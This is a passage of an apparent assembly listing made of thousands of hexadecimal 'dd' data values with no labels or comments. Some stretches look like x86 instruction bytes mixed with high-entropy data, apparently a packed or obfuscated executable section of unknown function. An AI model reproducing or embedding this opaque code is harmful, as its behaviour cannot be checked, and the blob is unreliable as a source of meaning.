0A19FC6Ch, 3E5D38A8h, 80F0524Dh dd 49B93EF5h, 85F577ACh, 50C043F0h, 794C12C5h, 169AE150h dd 24E25A1Bh, 4E8757C7h, 981D678Ch, 0AD670322h, 0CFC737B4h dd 0AA0D2638h, 78A1243Ah, 31086D9h, 6E615832h, 8B6ADA59h dd 0A8459316h, 1401997h, 24ED0000h, 525F57C7h, 960665F1h dd 2ACEDCB9h, 2961E4FAh, 0B4169BFBh, 0D50B3E3h, 631693FBh dd 3A276FDFh, 0B65145B5h, 0B713D0FFh, 0F17CCD00h, 779DBD26h dd 36h, 61864F93h, 2D9D1C38h, 3126900Ah, 6F9F5F59h, 1A44F44Fh dd 28F9169Bh, 14687EEh, 882F1693h, 4BF9D55h, 169301DDh dd 0B0DB8FA0h, 9DBE0D4Dh, 0C7D3h, 0C724E700h, 946BE5Fh dd 0B31B3CACh, 411D3203h, 2393161Bh, 867C5F82h, 0BF2F9110h dd 0DC5A3001h, 0C3F363C7h, 41C14DAEh, 0C7E8E5D1h, 0F161E2CFh dd 9062A124h, 9A971087h, 0B9298B17h, 0BBAFA096h, 987DED4Eh dd 203E6E12h, 9E2077A5h, 29350616h, 5B3AAA08h, 0D242C2EFh dd 0F969CFE4h, 0FBEFC0BDh, 7744AC0Eh, 0C13192BEh, 0F5ABDCF6h dd 1114E8E2h, 2E01C562h, 0D777AA4Fh, 43BFB5B7h, 0AF9h dd 0A471E15Dh, 0DBBA2A8Fh, 9C79E944h, 0E4B12187h, 9A7BEB4Fh dd 0AF138EFDh, 66C9563Fh, 0B4101FF6h, 182B144h, 0BD30491h dd 9AE71138h, 211BDC16h, 0BF56C624h, 0A616969Bh, 7CE447C4h dd 0C6A9C604h, 0D5565DCAh, 7DAB4A65h, 5F57C724h, 0F481F152h dd 4DED0h, 0BABEC00h, 3C4003DBh, 5F169BFCh, 0F883C67Dh dd 596A1693h, 0FA3C0DB1h, 93F8527Bh, 49741B16h, 0BB2B88A9h dd 3491827Bh, 0DFDD2C4h, 0BD241B9Eh, 0F276BB9Dh, 0C0309182h dd 24FFA2Ah, 0B60E0000h, 1086F29Ch, 6777A757h, 0D76E6775h dd 0B6CEF6AAh, 0C91B3EE7h, 0F9791086h, 0A9C5B4F6h, 0FBEFC060h dd 0A28946A0h, 0F8C6D716h, 70CDE6h, 77FA3916h, 4C3E0F07h dd 0D2EC5CDFh, 8D10390Ch, 0CADB169Ah, 24F981EDh, 0EA8044E5h dd 0E196BF8Bh, 1D5B80FAh, 83B05Ah, 6414A690h, 58598043h dd 3C2169Ah, 169A58DEh, 0E7148C9Dh, 143B1484h, 1989E94Ah dd 0A058EB71h, 2D10875Fh, 0A4D2811Ch, 0A391B1BEh, 9E01Fh dd 88F87600h, 43B336EDh, 90007DB2h, 5ACA2E05h, 960664BBh dd 0B0E3A8FFh, 1C13E252h, 0D54A2B9Bh, 210EE757h, 706332A2h dd 0E4B2D76Eh, 0B839169Ah, 57C72484h, 65F1525Fh, 0ACA19505h dd 0BDF49383h, 47FEE012h, 1086F202h, 132D8E9h, 124C1282h dd 86F26EB3h, 0F73C0D10h, 3A130373h, 0D704550h, 9397A81Ah dd 161h, 0E1624FA7h, 1B989971h, 0F5766BABh, 0F6CAF085h dd 154DF8C6h, 76169BFBh, 97A21461h, 0C8A2F50Bh, 74CFC7D8h dd 1693F829h, 0D5745BD6h, 9DBD2868h, 34F0h, 0BABCC00h dd 49AE03DBh, 0E959DAD9h, 243AD0ADh, 9BF591A1h, 9B9BAC16h dd 93F1F518h, 0A8178216h, 0BD1D1CA1h, 25A0BE9Dh, 1693FDFCh dd 60BCAE7Fh, 0D0h, 5FC7243Ch, 0D48E1A1Fh, 54426DBEh, 0CB7ADB5Fh dd 10863186h, 3B7B5465h, 6155C526h, 0BFE2617Bh, 3E108631h dd 0AC83F351h, 7EEE4DBEh, 82C77E60h, 69108631h, 77E3B258h dd 31BBDE65h, 71421086h, 0CBE92A66h, 0E288C979h, 87B194C3h dd 0E555D610h, 7F37FCD9h, 841D2D76h, 5F1F87E6h, 66B40F2Fh dd 17169F32h, 31263806h, 8EAD200Eh, 777F916h, 46113E0Fh dd 0BD66457h, 4BC8A202h, 919E77E7h, 873CC131h, 0E0B7D746h dd 8836ED6h, 73D30000h, 3CBD7203h, 7BFA29CCh, 33B56A0Bh dd 7DFD32C3h, 7833680Dh, 0A075E545h, 0D9BC2C93h, 9B7AEA4Ah dd 0DEB72784h, 375AE9F5h, 0B6169AE5h, 0C6240735h, 1370BF56h dd 4F88D2A3h, 5659824Ah, 759D4D6Dh, 6FDF624Fh, 77B45627h dd 0A19284F4h, 0A1119622h, 0DEB79875h, 262E2h, 56DBD800h dd 57EEB0E6h, 1086F232h, 23C7E8B9h, 0DB0BABEFh, 57D8D903h dd 2CDEAFE7h, 0A2FD1D91h, 474F6016h, 9AF9A1ECh, 0FCE34E16h dd 0C424E04Dh, 207689Dh, 4F440000h, 4A6DDD62h, 0DB5DAF4Ch dd 7D28C234h, 1086225Bh, 8AFA7BB8h, 22C811B4h, 0E2B31086h dd 0BEEE9208h, 2C9125A0h, 0F14216A2h, 1DF22494h, 6678496Dh dd 977EEE4Dh, 7BBB2B88h, 451949EDh, 8729CA7Eh, 0FB829310h dd 0B1BE7334h, 0A2A50D27h, 0B4000007h, 0F42BCA3Ah, 0C3700575h dd 0EC43D242h, 0AA791C8Ch, 5E3DD848h, 0A010722Dh, 69D95ED5h dd 0A515978Ch, 70E063D0h, 992C32A5h, 169AEA70h, 24C27AFBh dd 525F57C7h, 9C9581F1h, 9085B121h, 0F103DC5Ah, 283B003h dd 0F59CA492h, 497019CAh, 0D5575C96h, 3F77E749h, 8889614Eh dd 8EA3BB2Bh, 0C5D0BA2Ah, 0A8A68DF0h, 0A9042D97h, 72547D48h dd 6171086h, 8F080E29h, 2596BE99h, 137D545h, 24B10000h dd 525F57C7h, 6AF481F1h, 0F288D174h, 0A2731086h, 0FE2ED2C8h dd 0FB2D65E0h, 9FB0169Bh, 931896BFh, 0D5334EB9h, 4015F735h dd 0AD3835F5h, 3ABBF886h, 17F3CCCAh, 935561ACh, 3CA30E16h dd 8EFE7DB6h, 0C54CB1DCh, 27D49DBDh, 0E8000000h, 3DB0BABh dd 9BF5F040h, 0BAC48D16h, 7D3BFBF4h, 0F251456Ah, 169372ABh dd 57F2DD54h, 9DBD99D2h, 0AF5Ah, 624F2E00h, 9B9872E2h dd 756EA818h, 0A09185F5h, 0B1ABB323h, 86F2CF12h, 0C19DAE10h dd 86F2DF02h, 0DD8D9E10h, 51C1422Fh, 6CA201C4h, 0CF2C1087h dd 0E65D7F5Fh, 108689A3h, 291794Ah, 0AD404B4h, 9EE11D3Bh dd 6BDADC16h, 169ED126h, 3DBF4C5h, 2DC4CAEh, 0B2E454B1h dd 0FC5E2DDDh, 0D4C232B7h, 0C4EB5BDFh, 0F985E526h, 54290676h dd 0B7D82E83h, 3A5ADADCh, 1C000006h, 0CC6332A2h, 0B18FD6Dh dd 0C45B3AAAh, 1221F464h, 0F6B540B0h, 878FAB5h, 0C131B66Dh dd 0D7DFF34h, 0C838BB68h, 11B49A2Dh, 169AEBC8h, 240A32B3h dd 70BF56C6h, 66D2A313h, 0D05FC724h, 0A247CFC4h, 2C45715Eh dd 0FAB65FCFh, 27h, 57C7240Eh, 90F1525Fh, 86F2EC35h, 91BE8F10h dd 6CFB88CDh, 7D68E492h, 0A80F9F8Dh, 0C1319235h, 259034h dd 24AC0000h, 42275FC7h, 918A8C6h, 9EB9722Ah, 69467DDFh dd 7086C62Dh, 2FFA1086h, 74E44780h, 0F374BDA1h, 4F33E783h dd 4472E262h, 11729F4Bh, 330375A1h, 0CB1880E7h, 48356205h dd 0BA9383ACh, 0A7F821A4h, 0B2831086h, 8E02C19Dh, 6D16A2A8h dd 938DD46Fh, 5F70169Ah, 243A0BABh, 593CAC0Fh, 0BDF969CAh dd 6F638B2Bh, 45478E13h, 0C4EDF1DEh, 0CFC0F666h, 0EDAA191Bh dd 8C10BE7Ch, 2D8EA3BBh, 3D76D8BDh, 786650C0h, 0BE7884CDh dd 7956671Ch, 0C223A091h, 78E0299Ch, 0BA8B1CBEh, 0BE78C60Bh dd 0BB94A51Ch, 1949ED7Bh, 895E7E45h, 1D1F1AA4h, 0CB6963A6h dd 16390A02h, 0A2B6B487h, 3DC5AFABh, 505h, 0F085F551h dd 0A74EBE43h, 0E88DFD78h, 0B045B53Bh, 0E68FFF83h, 63C7FAB1h dd 0AA0D22F3h, 68C45B3Ah, 0A5061DF8h, 67776035h, 9AE9B5DCh dd 85B73816h, 0BE57C724h, 74A21271h, 8A8CFC7Fh dd 0B017C6EFh, 0E53F253h, 0ED1086F2h, 0E252D7DCh, 0F07D28CDh dd 7897A819h, 34h, 0DB0BAB94h, 41FF4003h, 917E169Ch, 0F8D5C131h dd 0BD3A5FE6h, 0F0C11693h, 52B2FFDFh, 0D8F767C6h, 0BD53783Dh dd 2E8D1693h, 0EC48D7BEh, 7ABA3A7Ch, 0CE000004h, 5F57C724h dd 0F481F152h, 0FCC2F2C6h, 0A8EB01DBh, 0FE352790h, 0D75D0D7Dh dd 9BB2346Ch, 6DCCB916h, 38CCB9FDh, 87D0CDF7h, 6CCFC4EBh dd 0F9E3D3FCh, 52B03CB8h, 0F4DBB4E2h, 4866A716h, 4D0F1693h dd 1D777008h, 4EF5637Fh, 1693CC0Bh, 290E21F2h, 115923F2h dd 0BBF69442h, 55D5DE14h, 238605E5h, 0A99DBD9Dh, 20h, 0DB0BAB7Dh dd 0F5F04003h, 0BC8D169Bh, 0F1D2FB7Ah, 0F49B1693h, 1CFD80C9h dd 10839DBDh, 97000001h, 8757C724h, 6155C52Ah, 0A3907E6Ch dd 0C131931Fh, 0DFD7F8D5h, 0D5A3D8FDh, 0DDC2E84Ah, 0D2C1EE5Eh dd 0C4B9FD6Dh, 1686E526h, 24B01320h, 6C6155C5h, 8AEF352h dd 7C4D1086h, 0F2518B53h, 108608AFh, 0FE8D7D4Eh, 860DB4C3h dd 0C535B610h, 10800330h, 2182E54Eh, 860D7FA2h, 22DFE10h dd 0DACC7B35h, 0EB9FFB06h, 0E607B741h, 86F63A5Fh, 0C3F0C110h dd 0F5CACC3Ch, 4BAF04DAh, 0B1E2DBDBh, 3309E151h, 9BF0AC90h dd 0FEC0D116h, 0C86A25D9h, 0E8828E63h, 29591D8Dh, 266AAE15h dd 213108Bh, 4F1B1B3Ch, 0DE733F92h, 0DA681A79h, 26C4EBA7h dd 86E54E10h, 3B2F2016h, 19FC6CCEh, 7C47A80Ah, 1CAB4155h dd 55280718h, 0B1C2A0F8h, 227D05EFh, 34000003h, 74AB4ABAh dd 43F085F5h, 6CC352C2h, 2AF99C0Ch, 0DEBD58C8h, 2090F2ADh dd 0E959DE55h, 2595170Ch, 0F060E350h, 19ACB225h, 169AEFF0h dd 2442FA7Bh, 70BF56C6h, 88D2A313h, 5D59C92Bh, 0AB928A60h dd 0D839BF0Bh, 86F2246Dh, 0D9F6C710h, 0ACEA5ADAh, 63E2FCD3h dd 169BF5D7h, 53895566h, 93F1A9F0h, 7B435416h, 93F181C8h dd 0AF5B6C16h, 0F1DFFE85h, 0F1A81693h, 1D1E8BBEh, 0BEA69DBDh dd 82000000h, 5F57C724h, 9680F052h, 86F7C02Fh, 1989EA10h dd 0D444A77Ch, 80A858E2h, 7B986215h, 0F9C5EA49h, 0CCCA3AB8h dd 3BCCE4F3h, 0A5290EF1h, 68D46FC5h, 0D169B00h, 0AD51593Ch dd 0F050617Dh, 9F970764h, 0B89581AEh, 8E88F87Bh, 0C083D9B1h dd 108B6E77h, 8293506h, 0EF5B3AAAh, 6D3356EDh, 0E9BA1CABh dd 42B21001h, 0C2B54CBBh, 1DA58FB1h, 231h, 0BC59C925h dd 3920267h, 9461D12Ch, 0CCA9199Fh, 9263D357h, 971B9615h dd 5EE14E27h, 9C1807EEh, 59DA492Ch, 93BB0CE9h, 9AECE930h dd 69D39416h, 0BF56C624h, 0DF02C19Bh, 111086F2h, 0CDDE42B2h dd 1F8FEC1Dh, 59DFD476h, 3AD0ADE9h, 0B68D4F02h, 1086F293h dd 70A1495Ah, 7E73A313h, 0A01071FDh, 0A8B69976h, 0D6B4248Bh dd 9B0B68B7h, 0E72A99C3h, 861086F2h, 7557D5B5h, 0BD363060h dd 0BCAE6377h, 0ECF222D6h, 75EA56EBh, 0BA50FA75h, 0CD0D21A4h dd 3F10169Ch, 3FAF121Fh, 0AA6406F7h, 54735ACBh, 288E67D7h dd 3CAC0C58h, 94784B13h, 771089E8h, 0A347B73Ah, 2AF422F3h dd 5489134h, 62331CACh, 0B8288B88h, 0C40DB8A6h, 0A71CAC05h dd 0AD1D9D96h, 58DF4FBDh, 0E515E965h, 0FFE26AD9h, 96831AB6h dd 9A73A313h, 0F053E0B5h, 25A0BE80h, 2C6FFFCh, 0BD2D927Fh dd 253EF892h, 645F57C7h, 3EBD0AB5h, 0BF7F27CEh, 76A01073h dd 0FFF41DA8h, 0A67702C6h, 0BF98A689h, 7D13C994h, 2D4314EAh dd 39AF8CB4h, 43025436h, 4DCCFEBh, 4DBD3D6Ah, 5B5B7449h dd 52C24071h, 7BEB4F64h, 7D6D423Bh, 9FBF2F8Ch, 27C33392h dd 979F4EDh, 2898140Dh, 7B624BEEh, 0E1CC3D68h, 30A02011h dd 70A0605Ah, 0D747D76Eh, 0F5C60EC9h, 0BAE2F3E9h, 0F2874348h dd 962A71Eh, 38090EECh, 0C3734352h, 39F1B29Bh, 143BD1E8h dd 9D1F144Ah, 7614E92Dh, 0C8128C47h, 845A6B08h, 0FD1EDE53h dd 0A2DBF76h, 42BEC32Fh, 52FDB8Bh, 3F1F8FECh, 5718B616h dd 8E2E4CBh, 0D435B66Dh, 22871h, 0EDC2D334h, 0F3B24AA9h dd 0BC23068Dh, 72D0E111h, 48AB6802h, 0C7CF3FBCh, 0F31B3E05h dd 0D1E2268Dh, 0A40DD1FEh, 0ECE1D545h, 0F32E73D2h, 0FCCD268Dh dd 53B07F0Eh, 52D6DBE3h, 0C3F363C6h, 705E5CAh, 1826961Ah dd 29A6FA3Fh, 7218FB8Dh, 6558C1C4h, 0A471E162h, 0A2BC2C8Fh dd 0C30360B5h, 116CC429h, 0B79875A1h, 12D959D3h, 0AD000000h dd 0D46F6D2Fh, 1086F28Dh, 0D6545F70h, 0AB5F3066h, 5ACA2487h dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h dd 66D65A47h, 52C24330h, 7AEA4F64h, 0E468783Ch, 8900000Dh dd 89512414h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 2414895Ch dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 68512434h dd 788C6971h, 81240C8Bh, 4C4h, 57E98100h, 8972705Dh, 8B5459CAh dd 0C4812434h, 4, 88068h, 24048900h, 8B8h, 89F00100h, 34FF5810h dd 0C4815E24h, 4, 5A2434FFh, 4C481h, 7BE90000h, 2FFFF95Dh dd 0E4DAA6F0h, 1C2057B8h, 0FFC50306h, 0D2A305E0h, 0FEC1E94Fh dd 0D02B7F66h, 0FBB4E216h, 3FFF6022h, 0CF326B01h, 3F49D35Fh dd 2A06D458h, 4D6C5915h, 0CA349019h, 96638A45h, 38BA2D50h dd 77E54503h, 96DF3773h, 0E5443A07h, 4F3E9902h, 0E036778h dd 1EE3ED6Fh, 0B28A6A00h, 3403346Bh, 0DE804h, 0AB7F0000h dd 3102A939h, 87B83CF7h, 817CEF16h, 346E6DF1h, 880F5B28h dd 8, 2880Fh, 9BB50000h, 65A6C381h, 0F600000h, 830FD6B7h dd 10h, 0BE9h, 2EF45E00h, 28379394h, 0BCA79A00h, 6861h dd 0E9580000h, 5, 41F32BE7h, 3348BCCh, 3D25BA66h, 0DB98C681h dd 81661089h, 81BFA4D2h, 0C86C6DC6h, 0C7BA6655h, 34EE8185h dd 6646D954h, 564C46BFh, 3048FF9h, 0E945EE80h, 12h, 984A8AC7h dd 58691649h, 0E0978807h, 130D5459h, 0E8833388h, 0EE801h dd 0B69A0000h, 72CB3606h, 0CDB45C3Fh, 4CEEF6BDh, 11E9h dd 2CEF900h, 42D42630h, 61BFED5h, 10254001h, 485FECB7h dd 9ABF4848h, 810CF428h, 0FF9B34F8h, 7A850FFFh, 0B9FFFFFFh dd 564E947Fh, 6E8h, 0B0A18800h, 6010E6B1h, 0AE8h, 94751F00h dd 343E0AB0h, 583E2B84h, 3185BA66h, 0BF0F5F61h, 79C781F2h dd 0E8000069h, 0Bh, 155702DFh, 10054447h, 569B21D7h, 5EFAED80h dd 1A2EBB5Ah, 0B9660000h, 78B4388h, 0C081C4B6h, 3C0B668Ah dd 2830Fh, 5FB50000h, 0E374E881h, 0C2810A62h, 0CA5A8B6h dd 7E6BE881h, 7E90543h, 4D000000h, 0E10BB9DAh, 6650E33Ah dd 78FCF8Bh, 10E8h, 0F452C300h, 242D03C2h, 34B14E67h, 7BDC22B1h dd 5EF38B71h, 6603EF83h, 4F8BBFBAh, 10E8h, 0D22B8800h dd 0FB1CBCFAh, 0FA312F67h, 2C75A799h, 7FD68018h, 1EB815Ah dd 0F000000h, 0FFFF8585h, 0D68166FFh, 8D8DBA21h, 61C2384h dd 371BD8Bh, 8D890615h, 6152721h, 12999529h, 85C70615h dd 61504CDh, 5D9Ch, 85C71EB0h, 6151115h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B0C35242h dd 148C0459h, 949A277Fh, 0B5FFF8EFh, 6150595h, 10E8h, 55062700h dd 65273009h, 8CB0A6F6h, 9E7F7560h, 95FF5BBAh, 61502C9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F0C35242h dd 0DC55EBA4h, 0F9884F14h, 95FF006Ah, 6152E21h, 6AEBC08Bh dd 4109241Fh, 0E185A48Ah, 7A87CC6Ch, 251DE820h, 1E2A74EBh dd 45137829h, 0B540719Dh, 0F6F9B438h, 14BEFDC2h, 0DAC65C11h dd 0CFA5D704h, 0B8AFA1C1h, 4237DD80h, 0F6781626h, 25E66C73h dd 417ADE66h, 0B1465295h, 0D5911DBCh, 2B961D0Bh, 0A1182450h dd 0C3F95BA0h, 0C3DACFF8h, 7A9B3493h, 9148591Ch, 1D89465Ah dd 597CB59Ch, 17E96CE8h, 26000000h, 373FD1h, 4 dup(0) dd 0E2E90000h, 68000004h, 61C2538h, 0F95A35E9h, 25B068FFh dd 2BE9061Ch, 68FFF95Ah, 61C26D9h, 0F95A21E9h, 68D856FFh dd 0A313968Dh, 70E05DD2h, 0BA2A8EA5h, 76E644DBh, 1083089Fh dd 7CB342B2h, 35EA8BFBh, 81AE47B7h, 0D0039202h, 0D612370Eh dd 18D9169Ah, 56C62424h, 80F05360h, 0C1F1C5F5h, 0D3E1D8FDh dd 0FB78620Ch, 0CEC838B8h, 804319F1h, 169C5EE0h, 2393161Bh dd 50701AF3h, 406FDF63h, 9CAEEF56h, 45C01693h, 6FD0E1D5h dd 50B7B7FFh, 6D24865Dh, 88A20742h, 0C82A9DBDh, 20000002h dd 9042873Eh, 18291693h, 624FCA72h, 1A7D6DDDh, 0C9F9BD34h dd 0FBCA4EF5h, 0E2B3169Bh, 52FDA91Ch, 0C67A0BF9h, 55FDC896h dd 1815E678h, 0D5A90F07h, 9BBC99A5h, 38EF0A17h, 3C29476h dd 1F136B82h, 0B3D66D6Fh, 3A1F2270h, 0F01D8169h, 4F923192h dd 2E1F2270h, 411D321Dh, 472393F0h, 67CAE7F5h, 50B2BFF7h dd 0F6D9B6E0h, 9C4F11E1h, 0CAA0E205h, 0D95EEA49h, 9680F04Dh dd 0DCB996B9h, 0A974E447h, 0AE4B9D3Ah, 4278BA9h, 5C000003h dd 8CA372E2h, 4BD8BD2Dh, 849B7AEAh, 52E1B424h, 0B6F580F0h dd 0C838BAF5h, 171F62Dh, 0CD3DBF74h, 878FB28h, 0D1745A6Dh dd 169AD788h, 0AB4AF273h, 4003DB0Bh, 16A31601h, 6769D3DCh dd 15CC7090h, 0AB0F243Ah, 65C55A3Bh, 0ACEA5AD9h, 0D4BAFCD3h dd 0A6A40703h, 7A4948A3h, 169A8657h, 0E92A0516h, 49741686h dd 169A8607h, 936ADA59h, 0B7D3F822h, 8C53AFC5h, 0D4000002h dd 140BEA5Ah, 0E3502595h, 0C23F262h, 0CA593CACh, 7E1DF868h dd 0C030920Dh, 979FE35h, 0C535B76Ch, 10800330h, 0B98C5285h dd 169AD790h, 4FA29A5Bh, 0F293B68Dh, 495A1086h, 3E78E84Ah dd 4FEFA941h, 45843F1Fh, 1816A316h, 69B40F07h, 16169AD6h dd 0A815349Bh, 309DC442h, 167h, 0E3624F0Ch, 0A04A4373h dd 76A01073h, 0E78EFE7Dh, 0EFCFFFBFh, 9BFB1C54h, 0E6D0E116h dd 93FB3E5Fh, 5D50C716h, 0BD2781ECh, 27079Dh, 0AB230000h dd 4003DB0Bh, 169BF5F0h, 0FB7ABC8Dh, 1693F1D2h, 80C9F49Bh dd 9DBD1CFDh, 0A818949Dh, 49F9916Eh, 0C5h, 66C7245Dh, 86F2BADFh dd 5F704110h, 0C03C7557h, 0F979BA50h, 9DBF8D89h, 9F5C0EB8h dd 8E3765A0h, 10869B4Bh, 88896132h, 667BBB2Bh, 8CC99505h dd 0E0C71D26h, 385337A5h, 14A01D16h, 1AF32393h, 5E0C0135h dd 86503C3Fh, 5DCD2E10h, 1E4EF2B8h, 36578540h, 1526169Eh dd 1A8AE849h, 1989EF44h, 0AD0D2271h, 3A28FB45h, 3E110890h dd 0D836D85Fh, 91F103B7h, 163h, 841181FDh, 3BDA4AAFh, 7C1989E4h dd 44D141A7h, 7A1B8BEFh, 0CF336E1Dh, 669B65Fh, 0D430FF96h dd 21A29164h, 0EBF3E4B1h, 9AD43158h, 13BBC16h, 0B4B864Fh dd 6671E146h, 7D6D1F74h, 0F6CD2E8Ch, 1086D0D3h, 0CFA6899Ah dd 0A273E360h, 0E0624F96h, 1A999A70h, 0BCA26CAAh, 86F2C009h dd 0BD9AAB10h, 8867B2C4h, 0BE6B1F08h, 8228CD3Dh, 15B08EBEh dd 169CF52Ah, 78667849h, 90F684CDh, 5D566716h, 0B87E6CDCh dd 0EE87F77Bh, 90F68AD3h, 0EF5FDC16h, 29991906h, 0C985EDh dd 4FA10000h, 0C580E162h, 1086F29Ch, 35614E5Fh, 3808B258h dd 568F3608h, 2516A316h, 89E94A14h, 0A3041D19h, 0C06E1C33h dd 0E555D5DEh, 25A484D2h, 7B6FFDF4h, 0A1BD2D8Eh, 0CD9568B4h dd 0E3453A5Ah, 654A4373h, 0BA39E685h, 5D59C92Eh, 0EC474F60h dd 47B6EDA4h, 0E70BB239h, 0ECDEDDEEh, 0B8FBA9A2h, 0F21FCB3Bh dd 0A542191h, 31D949A9h, 23138300h, 79A02339h, 9B27B9C4h dd 93475EA0h, 85960AD4h, 1BC70AB9h, 95A627B9h, 44B434F5h dd 1BC27352h, 36DF4FACh, 67228AE9h, 9A5206AFh, 5B5BCB2Fh dd 34624D62h, 933F6D6Ah, 52A2CB8Eh, 9773E361h, 162Bh, 883B2100h dd 27B95941h, 0CB6F1B2Ch, 0FED3864Fh, 979F7ED2h, 243941F3h dd 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h dd 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh, 4EC81h dd 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0A5682404h, 89000008h dd 0EC832414h, 243C8904h, 5F2F3A68h, 0C14F5F04h, 0EFC105E7h dd 7EF8105h, 89FE430Bh, 0BD685FF8h, 8900003Ah, 4832424h dd 565A0424h, 24348150h, 2CA9438Ah, 8AF6815Eh, 892CA943h dd 0FF5E0872h, 815A2434h, 4C4h, 2434FF00h, 4C48158h, 0E9000000h dd 0FFF95566h, 0D9B0198Fh, 480FDC76h, 2861B877h, 0C503061Ch dd 5C5DE0FFh, 3E0E23CBh, 73D05AB7h, 59F07699h, 18110181h dd 0AC607E0Dh, 19402A8Bh, 738A34C9h, 0EA7D76F6h, 6E87F3Eh dd 1000000h, 8B2E75D9h, 13E9ADh, 55C20000h, 63A3D62Dh dd 3154EDC1h, 18663711h, 0CDA89843h, 0C08158E9h, 595Dh dd 8E8h, 0CFF13000h, 12217CDDh, 0F78B6692h, 66FF2B5Ah dd 469CD281h, 51381C8Bh, 0FB8B6660h, 0EB815A61h, 19216EE8h dd 0D16D681h, 0F3817D42h, 1728C332h, 81CA8B66h, 0E8E867EBh dd 0D9DD800Ah, 60381C89h, 8E9h, 0C8B69400h, 0A89A1317h dd 610EB3BFh, 215051BEh, 3EF832Bh, 4880Fh, 0BE660000h dd 0B94F0152h, 5519E2D9h, 0A76CFF81h, 850FFFFFh, 1Ah, 9C4EBA66h dd 27E9h, 39E78E00h, 2D7A322Dh, 0AC71B135h, 8FFEE127h dd 8D0F56EBh, 2, 79E9F18Bh, 0B0FFFFFFh, 0AB5CE4CAh, 0E6904A4h dd 7E8h, 0F28F8F00h, 209C92EAh, 58CABF0Fh, 0C2EAD981h dd 0C08131ACh, 6082h, 11E9h, 0B0121F00h, 1B0AA7D8h, 0A195F6B2h dd 0FECFBC3Bh, 0E2684A6Dh, 0FC000017h, 9E95Fh, 0D0050000h dd 0D398761h, 8BF7AF26h, 1B870F18h, 60000000h, 810Fh, 0EE90000h dd 0CC000000h, 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh, 0EB816110h dd 140DCE98h, 6564EB81h, 81F857D9h, 4EDD38EBh, 0EA815205h dd 57F43248h, 0FE85359h, 9B000000h, 0F5C8F450h, 0B84DA818h dd 0A54313CEh, 5E891E3h, 58000000h, 0E9A2174h, 5EF08B66h dd 53008F5Ah, 13E8h, 5E101600h, 13068DAEh, 0DEFDA25Bh dd 0B36335C7h, 0DEF44E80h, 830Fh, 595E0000h, 0E902E883h dd 14h, 74A3C1C1h, 0BE011C82h, 0DF994230h, 7D7271BFh, 5C69F25Ch dd 0CE804848h, 850F4F1Dh, 0FFFFFF53h, 0B7D48060h, 0DFC18160h dd 0B21B58E5h, 0E8616160h, 10h, 75ADB00Dh, 40C57A9Ah, 31051B9h dd 807D4E7Bh, 0F121BB66h, 0C881665Ah, 0C2818EE0h, 5BF8h dd 58C38166h, 16CCBE3Ah, 0EB810000h, 7775497h, 816632FFh dd 5FCF1DE1h, 2E88151h, 595C054Bh, 0A962C781h, 0F96007C6h dd 10E960h, 14410000h, 0B00EFDD2h, 14447824h, 4640CC97h dd 58578537h, 0EF816161h, 6D3B8D92h, 6BC4F781h, 57F97416h dd 28FE58Ah, 0C18B6660h, 816177B1h, 1FE925EAh, 0B7D8812Eh dd 8147D6A7h, 1FE921C2h, 6E82Eh, 0B590000h, 66D0B441h dd 5BDFB70Fh, 0F01EE83h, 1985h, 38E0F00h, 80000000h, 19E911F7h dd 3F000000h, 4057C720h, 7A40701Bh, 0B866E453h, 69E9C685h dd 33FFFFFFh, 0B30C7B29h, 0BD83C08Bh, 61508F5h, 83097500h dd 1503ADBDh, 19740006h, 0C08B5350h, 421B8h, 85858900h dd 8D061513h, 17AA9E9Dh, 5BD3FF06h, 0ADBD8358h, 61503h dd 53501774h, 421B8h, 85858900h, 8D061513h dd 17A78D9Dh, 5BD3FF06h, 8BC08B58h, 1500319Dh, 0C585C606h dd 56061509h, 0A8B85268h, 11B5FF9Ch, 8D061528h, 1872BC85h dd 6AD0FF06h, 10006804h, 0B5FF0000h, 6150685h, 0D0FF006Ah dd 850FC085h, 0Dh, 0B8h, 0D8D8D00h, 0FF061572h, 8BC88BE1h dd 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h, 6150FFDh dd 0E840F00h, 8B000000h, 150FFD9Dh, 69858B06h, 8906152Fh dd 8D525103h, 1543E485h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h dd 0C585C6A4h, 56061509h, 1F6D3968h, 11B5FFD4h, 8D061528h dd 1872BC85h, 68D0FF06h, 8000h, 0FF52006Ah, 83C08BD0h dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h dd 421B8C0h, 85890000h, 61502A1h, 0AB059D8Dh, 0D3FF0617h dd 0BD83585Bh, 61503ADh, 50177400h, 421B853h, 85890000h dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 0C08B585Bh, 0FFD9D8Dh dd 38B0615h, 840FC00Bh, 7, 5B8B038Bh, 0B8188904h, 4B41h dd 0BE8h, 0E6811200h, 0D6D2CF60h, 2A5360BAh, 0A6E78166h dd 8B66594Ah, 0FFC181FEh, 6600006Fh, 0BEDF8Bh, 0BA000000h dd 0E28BBC7h, 0B331048Bh, 74E8814Eh, 0BF39F605h, 63EB3E16h dd 0A4B1E881h, 7E90B85h, 73000000h, 798EC618h, 0C0810F0Fh dd 7EC2CE62h, 310489F8h, 50F28160h, 0E85C77D2h, 0Eh, 2201D86Ah dd 8316534Ch, 0A42F316h, 59537D28h, 29B7615Eh, 6604EE83h dd 0FE81F98Bh, 0FFFF90A8h, 13850Fh, 81660000h, 0E9DF2FCFh dd 1Ch, 8B982CF5h, 5FBDACE7h, 0E9DC8AE5h, 0FFFFFF88h, 0B87DF66Ah dd 9D07D9Eh, 4536B865h, 0AE8h, 7A5BCB00h, 831F93DCh, 0F7B64A9h dd 0E95FCFBFh, 0Ch, 21C15EAh, 30F3D66h, 2DC09768h, 0DA3AC781h dd 0CE8B0000h, 365F68h, 58CF8B00h, 0BED181h, 378B6184h dd 14E8h, 4A787A00h, 7A2FAA6Eh, 47BCF338h, 0F48AF105h dd 